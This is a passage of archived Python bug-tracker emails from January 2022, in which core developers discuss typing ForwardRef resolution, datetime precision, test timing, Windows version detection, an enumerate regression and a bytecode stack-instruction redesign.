should skip these tests by default on Windows, as it gives us valuable information (that the parser features work compiled on windows). If you have an idea on how to speed the tests, I'm all ears :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:48:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 20:48:08 +0000 Subject: [issue46523] Test suite skips failing tests when setUp[Class] fails In-Reply-To: <1643125354.71.0.870282939818.issue46523@roundup.psfhosted.org> Message-ID: <1643143688.55.0.791570636716.issue46523@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29076 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30895 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:52:04 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 20:52:04 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643143924.67.0.651863769052.issue41370@roundup.psfhosted.org> Guido van Rossum added the comment: Ah, I see the issue. I stepped through get_type_hints() using pdb, and it does have a special case for when it encounters a string: it wraps it in a ForwardRef and proceeds from there: https://github.com/python/cpython/blob/cef0a5458f254c2f8536b928dee25862ca90ffa6/Lib/typing.py#L1806-L1807 But list['N'] isn't a string, so it doesn't trigger this case. If you were to use "list[N]" instead, it works: >>> from typing import get_type_hints >>> class N: ... c: "list[N]" ... >>> get_type_hints(N) {'c': list[__main__.N]} >>> But I suppose you have a reason you (or your users) don't want to do that. We could probably add a special case where it checks for types.GenericAlias and goes through __args__, replacing strings by ForwardRefs. But would that be enough? The algorithm would have to recursively dive into __args__ to see if there's a string hidden deep inside, e.g. list[tuple[int, list["N"]]]. And what if the user writes something hybrid, like List[list["N"]]? What other cases would we need to cover? And can we sell this as a bugfix for 3.10, or will this be a new feature in 3.11? How will it interact with from __future__ import annotations? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 15:58:47 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 20:58:47 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643144327.1.0.689922798222.issue41370@roundup.psfhosted.org> Guido van Rossum added the comment: Here's a patch that doesn't do it right but illustrates the point: diff --git a/Lib/typing.py b/Lib/typing.py index 972b8ba24b..4616db60c3 100644 --- a/Lib/typing.py +++ b/Lib/typing.py @@ -1807,6 +1807,12 @@ def get_type_hints(obj, globalns=None, localns=None, include_extras=False): value = type(None) if isinstance(value, str): value = ForwardRef(value, is_argument=False, is_class=True) + elif isinstance(value, types.GenericAlias): + args = tuple( + ForwardRef(arg) if isinstance(arg, str) else args + for arg in value.__args__ + ) + value = value.__origin__[(*args,)] value = _eval_type(value, base_globals, base_locals) hints[name] = value ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 16:20:45 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 25 Jan 2022 21:20:45 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643145645.88.0.848939447196.issue46524@roundup.psfhosted.org> Tim Peters added the comment: As a general thing, I expect people on Windows always run the tests with multiple processes. In which case it would be generally helpful to start the longest-running tests first. As is, because of its late-in-the-alphabet name, "test_peg_generator" gets started late in the process and so typically keeps running for minutes and minutes after all other tests have completed. So just renaming it to "test_0peg_generator" would cut minutes off the Windows wall clock time ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 16:33:20 2022 From: report at bugs.python.org (Yilei Yang) Date: Tue, 25 Jan 2022 21:33:20 +0000 Subject: [issue46525] datetime.timestamp() lose precision when the time is too large Message-ID: <1643146400.71.0.0148099427476.issue46525@roundup.psfhosted.org> New submission from Yilei Yang : Examples: >>> datetime.datetime(2222, 1, 1, microsecond=999999).timestamp() 7952371200.999999 >>> datetime.datetime(3333, 1, 1, microsecond=999999).timestamp() 43012195201.0 >>> datetime.datetime(2567, 1, 1, microsecond=999998).timestamp() 18839548800.999996 I believe this is an issue caused by using `double` in the C implementation. ---------- components: Library (Lib) messages: 411676 nosy: yilei priority: normal severity: normal status: open title: datetime.timestamp() lose precision when the time is too large type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:07:42 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Tue, 25 Jan 2022 22:07:42 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643148462.16.0.723370086753.issue41370@roundup.psfhosted.org> Niklas Rosenstein added the comment: Interesting! Representing the entire type hint as a string is something I haven't thought about, but it makes sense that it works. It is my understanding that `get_type_hint()` already walks through the entire type hint recursively. If it weren't, it would not resolve `List['N']` to `List[__main__.N]` in the example below. >>> from typing import get_type_hints, Mapping, List >>> >>> class N: ... a: Mapping['str', list[List['N']]] ... >>> get_type_hints(N) {'a': typing.Mapping[str, list[typing.List[__main__.N]]]} Upon closer inspection of the `typing` code, I can see that `_eval_type()` is doing that recursion. Applying the change your proposed in your previous message to that function seems to work at least in a trivial test case. diff --git a/Lib/typing.py b/Lib/typing.py index e3e098b1fc..ac56b545b4 100644 --- a/Lib/typing.py +++ b/Lib/typing.py @@ -331,6 +331,12 @@ def _eval_type(t, globalns, localns, recursive_guard=frozenset()): if isinstance(t, ForwardRef): return t._evaluate(globalns, localns, recursive_guard) if isinstance(t, (_GenericAlias, GenericAlias, types.UnionType)): + if isinstance(t, GenericAlias): + args = tuple( + ForwardRef(arg) if isinstance(arg, str) else arg + for arg in t.__args__ + ) + t = t.__origin__[(*args,)] ev_args = tuple(_eval_type(a, globalns, localns, recursive_guard) for a in t.__args__) if ev_args == t.__args__: return t Testcase: >>> from typing import get_type_hints, Mapping, List >>> class N: ... a: Mapping['str', List[list['N']]] ... >>> get_type_hints(N) {'a': typing.Mapping[str, typing.List[list[__main__.N]]]} I believe that this would be enough, but then again I haven't yet had enough time to crack at other implications this might have. > How will it interact with from __future__ import annotations? I've never used this future, but from my current, possibly limited, understanding it should have no side effects on how `get_type_hints()` will evaluate fully stringified annotations (as you have already shown, a fully stringified type hint actually works fine with PEP 585 generics). > And can we sell this as a bugfix for 3.10, or will this be a new feature in 3.11? I will throw in my personal opinion that this could be a bugfix, but I'm obviously biased as being on the "experiencing end" of this behaviour we're trying to change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:12:18 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 22:12:18 +0000 Subject: [issue46091] IndendationError from multi-line indented statements In-Reply-To: <1639609590.75.0.562177749036.issue46091@roundup.psfhosted.org> Message-ID: <1643148738.65.0.748415502766.issue46091@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset a0efc0c1960e2c49e0092694d98395555270914c by Pablo Galindo Salgado in branch 'main': bpo-46091: Correctly calculate indentation levels for whitespace lines with continuation characters (GH-30130) https://github.com/python/cpython/commit/a0efc0c1960e2c49e0092694d98395555270914c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:13:57 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 22:13:57 +0000 Subject: [issue46091] IndendationError from multi-line indented statements In-Reply-To: <1639609590.75.0.562177749036.issue46091@roundup.psfhosted.org> Message-ID: <1643148837.47.0.468062562583.issue46091@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +29077 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30898 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:28:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 22:28:25 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643149705.13.0.8094010817.issue23556@roundup.psfhosted.org> Irit Katriel added the comment: @kinshukdua - can you explain why you closed the PR and whether you are interested in reopening it and finishing this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:34:06 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 22:34:06 +0000 Subject: [issue46091] IndendationError from multi-line indented statements In-Reply-To: <1639609590.75.0.562177749036.issue46091@roundup.psfhosted.org> Message-ID: <1643150046.91.0.853632026949.issue46091@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 3fc8b74ace033a17346a992f661928ba619e61e8 by Pablo Galindo Salgado in branch '3.10': [3.10] bpo-46091: Correctly calculate indentation levels for whitespace lines with continuation characters (GH-30130). (GH-30898) https://github.com/python/cpython/commit/3fc8b74ace033a17346a992f661928ba619e61e8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:36:05 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 22:36:05 +0000 Subject: [issue46091] IndendationError from multi-line indented statements In-Reply-To: <1639609590.75.0.562177749036.issue46091@roundup.psfhosted.org> Message-ID: <1643150165.66.0.10773585804.issue46091@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +29078 pull_request: https://github.com/python/cpython/pull/30899 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:38:52 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 22:38:52 +0000 Subject: [issue46091] IndendationError from multi-line indented statements In-Reply-To: <1639609590.75.0.562177749036.issue46091@roundup.psfhosted.org> Message-ID: <1643150332.01.0.0107907327872.issue46091@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:39:05 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Tue, 25 Jan 2022 22:39:05 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643150345.61.0.672664739438.issue41370@roundup.psfhosted.org> Change by Niklas Rosenstein : ---------- pull_requests: +29079 pull_request: https://github.com/python/cpython/pull/30900 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:39:24 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Tue, 25 Jan 2022 22:39:24 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1643150364.08.0.583556487516.issue41370@roundup.psfhosted.org> Niklas Rosenstein added the comment: I've started a pull request here: https://github.com/python/cpython/pull/30900 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:41:06 2022 From: report at bugs.python.org (Henning Leth) Date: Tue, 25 Jan 2022 22:41:06 +0000 Subject: [issue46526] iglob exclude patterns Message-ID: <1643150466.87.0.565601575386.issue46526@roundup.psfhosted.org> New submission from Henning Leth : Got a project where I am looking for all files in a project dir, except the some files/dir/extentions that should be ignored. Found a possible bug: - the set has to be defined even though it was a set when defined - f-string doesn?t work as I would expect working code from my project: ignore = {'*.tmp', 'test.txt', './tmp/*'} for file in iglob('**/*[!f"{set(ignore)}"]', recursive=True): code as i espected it would be writen: ... iglob(f'**/*[!{"ignore"}]', recursive=True) ---------- components: Library (Lib) messages: 411682 nosy: leth.henning priority: normal severity: normal status: open title: iglob exclude patterns type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:44:29 2022 From: report at bugs.python.org (Henning Leth) Date: Tue, 25 Jan 2022 22:44:29 +0000 Subject: [issue46526] iglob exclude patterns In-Reply-To: <1643150466.87.0.565601575386.issue46526@roundup.psfhosted.org> Message-ID: <1643150669.35.0.774236500298.issue46526@roundup.psfhosted.org> Henning Leth added the comment: Fix typo in 1st post Code as i espected it would be writen: ... iglob(f'**/*[!{ignore}]', recursive=True) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:03:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 23:03:10 +0000 Subject: [issue41294] Allow '__qualname__' to be an instance of 'DynamicClassAttribute' In-Reply-To: <1594683012.02.0.626450993111.issue41294@roundup.psfhosted.org> Message-ID: <1643151790.32.0.338386415511.issue41294@roundup.psfhosted.org> Irit Katriel added the comment: I think this is a duplicate of Issue19073. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:14:41 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 23:14:41 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643152481.07.0.965453641078.issue46524@roundup.psfhosted.org> STINNER Victor added the comment: > In which case it would be generally helpful to start the longest-running tests first. Currently, most CI run "make buildbottest" which uses -r option of libregrtest: randomize tests order. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:18:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 23:18:17 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643152697.39.0.525660803528.issue46431@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29080 pull_request: https://github.com/python/cpython/pull/30901 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:27:27 2022 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 25 Jan 2022 23:27:27 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643153247.25.0.683946226724.issue46491@roundup.psfhosted.org> Anthony Sottile added the comment: should this behaviour change be backported? it potentially creates an annoying edgecase where code seemingly works unless you use an older patch version since this isn't a bugfix I wouldn't expect this to land in 3.9 and 3.10 ---------- nosy: +Anthony Sottile _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:29:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 23:29:35 +0000 Subject: [issue19073] Inability to specific __qualname__ as a property on a class instance. In-Reply-To: <1379857021.17.0.738971350638.issue19073@psf.upfronthosting.co.za> Message-ID: <1643153375.84.0.17037043795.issue19073@roundup.psfhosted.org> Irit Katriel added the comment: See also Issue41294. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:36:25 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 23:36:25 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643153785.06.0.183174981855.issue46491@roundup.psfhosted.org> Guido van Rossum added the comment: But it *is* a bugfix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:53:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 23:53:07 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643154787.71.0.879298033923.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 072f4a473e861c6c987650f08990c0ed1f76715f by Irit Katriel in branch 'main': bpo-46431: use raw string for regex in test (GH-30901) https://github.com/python/cpython/commit/072f4a473e861c6c987650f08990c0ed1f76715f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 18:59:51 2022 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 25 Jan 2022 23:59:51 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643155191.3.0.393400780722.issue46491@roundup.psfhosted.org> Anthony Sottile added the comment: to me this is the same as the Union[Pattern] / Union[Match] "fixes" that landed in 3.5.3 -- and the pain caused by using that and having CI pass (because of modern 3.5.x) but having spurious bug reports from users stuck on 3.5.2 or in 3.6.1 when NamedTuple was "fixed" to allow methods, again having CI pass with modern pythons but having frustrated users running 3.6.0 I forsee the same class of problems here with Annotated where it works great in 3.10.3 and 3.9.11 but anyone stuck on 3.10.2 or 3.9.10 or older will be broken ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 19:13:06 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 26 Jan 2022 00:13:06 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643155986.27.0.985899531104.issue46491@roundup.psfhosted.org> Guido van Rossum added the comment: Well that's *always* a problem right? If you take that to the extreme we wouldn't need bugfix releases. :-) Apart from some examples in the 3.5-3.6 timeframe, what makes you think that *this* fix *specifically* is going to make more people unhappy than it makes happy? When people complain that they wrote Annotated[ClassVar[int], ...] and are disappointed that it doesn't work in a certain old version, you can just tell them to use ClassVar[Annotated[int, ...]] which is in no way invalid or inferior and works in all versions that support Annotated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 19:21:58 2022 From: report at bugs.python.org (Anthony Sottile) Date: Wed, 26 Jan 2022 00:21:58 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643156518.86.0.694076165162.issue46491@roundup.psfhosted.org> Anthony Sottile added the comment: 3.7.2 has another example where OrderedDict was added to typing I don't have any personal investment in this particular change but I've had quite a few unhappy consumers of libraries due to instability in typing apis between patch versions in the past (heh and they're especially frustrated because they don't care about type checking and just want functional software) it's also difficult and/or not cost effective to add every patch version to a CI matrix to catch these sorts of problems ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 19:26:54 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 26 Jan 2022 00:26:54 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1643156518.86.0.694076165162.issue46491@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Yeah, there are no perfect solutions. Please let it go. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 19:29:45 2022 From: report at bugs.python.org (Eryk Sun) Date: Wed, 26 Jan 2022 00:29:45 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643156985.86.0.167165849051.issue45382@roundup.psfhosted.org> Eryk Sun added the comment: > Bit wmic seems nice solution. > Is still working for windows lower than 11? wmic.exe is still included in Windows 10 and 11, but it's officially deprecated [1], which means it's no longer being actively developed, and it might be removed in a future update. PowerShell is the preferred way to use WMI. --- [1] https://docs.microsoft.com/en-us/windows/deployment/planning/windows-10-deprecated-features ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:14:56 2022 From: report at bugs.python.org (Trey Hunner) Date: Wed, 26 Jan 2022 01:14:56 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument Message-ID: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> New submission from Trey Hunner : While playing around with the main CPython branch against I noticed that enumerate now gives a strange error message when `iterable` is provided as a keyword argument: >>> enumerate(iterable=[]) Traceback (most recent call last): File "", line 1, in TypeError: enumerate() missing required argument 'iterable' When passing an invalid keyword argument (and no positional arguments) an interesting error message is also given: >>> enumerate(hello="world") Traceback (most recent call last): File "", line 1, in TypeError: enumerate() missing required argument 'iterable' The help output still shows that iterable is accepted as either a keyword argument or a positional argument. ---------- components: Library (Lib) messages: 411695 nosy: trey priority: normal severity: normal status: open title: enumerate no longer accepts iterable keyword argument versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:17:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 01:17:58 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643159878.27.0.265101022361.issue45382@roundup.psfhosted.org> STINNER Victor added the comment: I don't understand why we have to handle XML or JSON and encoding... just to get a version number. Why did Microsoft make it so complicated? sys.getwindowsversion() which exposes GetVersionEx() looks fine to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:39:59 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 01:39:59 +0000 Subject: [issue46528] Simplify the VM's stack manipulations Message-ID: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> New submission from Brandt Bucher : ...as discussed in https://github.com/faster-cpython/ideas/discussions/228. We can dramatically simplify our stack manipulations by getting rid of the `DUP_TOP*` and `ROT_*` families of instructions: - Replace `DUP_TOP` with `COPY(1)`. - Replace `DUP_TOP_TWO` with `COPY(2), COPY(2)`. - Introduce a new `SWAP` instruction. - Replace `ROT_TWO` with `SWAP(2)`. - Replace `ROT_THREE` with `SWAP(3), SWAP(2)`. - Remove `ROT_FOUR`. - Replace `ROT_N(n)` with `SWAP(n), SWAP(n - 1), ..., SWAP(2)`. It then becomes much simpler for the peephole optimizer to reason about code sequences involving these instructions (for example, it's pretty straightforward to truly *optimize* an arbitrary sequence of swaps). ---------- assignee: brandtbucher components: Interpreter Core messages: 411697 nosy: Mark.Shannon, brandtbucher priority: normal severity: normal status: open title: Simplify the VM's stack manipulations type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:44:17 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 26 Jan 2022 01:44:17 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643161457.91.0.813261257507.issue46528@roundup.psfhosted.org> Barry A. Warsaw added the comment: What are the (unoptimized) performance implications of replacing one instruction with multiple instructions? ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:48:32 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 01:48:32 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643161712.95.0.942579098223.issue46528@roundup.psfhosted.org> Change by Brandt Bucher : ---------- keywords: +patch pull_requests: +29081 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30902 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 21:09:04 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 26 Jan 2022 02:09:04 +0000 Subject: [issue12067] Doc: remove errors about mixed-type comparisons. In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za> Message-ID: <1643162944.54.0.0749576506323.issue12067@roundup.psfhosted.org> Terry J. Reedy added the comment: Martin: [tests need review]. Yep. Improved constant folding and elimination of duplication now causes many 'is not' tests to fail. Language tests should not test current implementation limitations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 21:11:23 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 02:11:23 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643163083.28.0.715395020987.issue46528@roundup.psfhosted.org> Brandt Bucher added the comment: In practice, pretty much the only thing that will do more work now is augmented subscription: >>> a[b] += c main: 1 2 LOAD_NAME 0 (a) 4 LOAD_NAME 1 (b) 6 DUP_TOP_TWO 8 BINARY_SUBSCR 10 LOAD_NAME 2 (c) 12 BINARY_OP 13 (+=) 14 ROT_THREE 16 STORE_SUBSCR patched: 1 2 LOAD_NAME 0 (a) 4 LOAD_NAME 1 (b) 6 COPY 2 8 COPY 2 10 BINARY_SUBSCR 12 LOAD_NAME 2 (c) 14 BINARY_OP 13 (+=) 16 SWAP 3 18 SWAP 2 20 STORE_SUBSCR Pattern matching is the only place where we use ROT_N, and frankly it's *misused* there... often, it makes the cost of storing names quadratic at runtime. Even though we emit *more* instructions now, the peephole optimizer actually cuts them down significantly, and the result is more efficient than before. For example: >>> match x: ... case (a, b, c, None): ... pass main: 1 2 LOAD_NAME 0 (x) 2 4 MATCH_SEQUENCE 6 POP_JUMP_IF_FALSE 20 (to 40) 8 GET_LEN 10 LOAD_CONST 0 (4) 12 COMPARE_OP 2 (==) 14 POP_JUMP_IF_FALSE 20 (to 40) 16 UNPACK_SEQUENCE 4 18 ROT_FOUR 20 ROT_FOUR 22 ROT_FOUR 24 POP_JUMP_IF_NOT_NONE 18 (to 36) 26 STORE_NAME 1 (a) 28 STORE_NAME 2 (b) 30 STORE_NAME 3 (c) 3 32 LOAD_CONST 1 (None) 34 RETURN_VALUE 2 >> 36 POP_TOP 38 POP_TOP >> 40 POP_TOP 42 LOAD_CONST 1 (None) 44 RETURN_VALUE patched: 1 2 LOAD_NAME 0 (x) 2 4 MATCH_SEQUENCE 6 POP_JUMP_IF_FALSE 20 (to 40) 8 GET_LEN 10 LOAD_CONST 0 (4) 12 COMPARE_OP 2 (==) 14 POP_JUMP_IF_FALSE 20 (to 40) 16 UNPACK_SEQUENCE 4 18 SWAP 2 20 SWAP 3 22 SWAP 4 24 POP_JUMP_IF_NOT_NONE 18 (to 36) 26 STORE_NAME 1 (a) 28 STORE_NAME 2 (b) 30 STORE_NAME 3 (c) 3 32 LOAD_CONST 1 (None) 34 RETURN_VALUE 2 >> 36 POP_TOP 38 POP_TOP >> 40 POP_TOP 42 LOAD_CONST 1 (None) 44 RETURN_VALUE Replacing the ROT_FOURs with SWAPs may seem minor, but it ends up being a *lot* less work at runtime. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 21:22:54 2022 From: report at bugs.python.org (WANG Xuerui) Date: Wed, 26 Jan 2022 02:22:54 +0000 Subject: [issue46498] Add new triplets for loongarch64 Message-ID: <1643163774.53.0.339262106293.issue46498@roundup.psfhosted.org> New submission from WANG Xuerui : First of all I think the changes should probably go in main branch first, then backported to the older branches if possible; although IMO you'd be much better off just backporting and carrying the patch yourselves. Secondly the suggested patch is not consistent with the LoongArch toolchain spec, in that it didn't use the multiarch identifiers in the spec document (https://github.com/loongson/LoongArch-Documentation/blob/a8a004148734445480659a5e25ef985817881341/docs/LoongArch-toolchain-conventions-EN.adoc, Table 12), but rather the old-world one; see the discussion at https://github.com/loongarch64/cpython/pull/1 (in Chinese) too. ---------- nosy: +xen0n _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 22:18:41 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 26 Jan 2022 03:18:41 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument In-Reply-To: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> Message-ID: <1643167121.32.0.292764125745.issue46527@roundup.psfhosted.org> Jelle Zijlstra added the comment: I can confirm that the behavior changed between 3.10 and current main: enumerate(iterable=[]) works on 3.10 but not on main. It's likely a consequence of bpo-43706. I'll submit a patch to restore the previous behavior. ---------- nosy: +Jelle Zijlstra, corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 22:39:17 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 26 Jan 2022 03:39:17 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument In-Reply-To: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> Message-ID: <1643168357.26.0.657652735088.issue46527@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +29082 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30904 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 22:39:17 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 26 Jan 2022 03:39:17 +0000 Subject: [issue43706] enumerate() instantiation time reducing by using PEP 590 vectorcall In-Reply-To: <1617384973.81.0.220949587115.issue43706@roundup.psfhosted.org> Message-ID: <1643168357.42.0.902170360151.issue43706@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra nosy_count: 4.0 -> 5.0 pull_requests: +29083 pull_request: https://github.com/python/cpython/pull/30904 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 23:12:35 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 26 Jan 2022 04:12:35 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1643170355.63.0.31104888222.issue41844@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29084 pull_request: https://github.com/python/cpython/pull/30905 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 23:12:55 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 26 Jan 2022 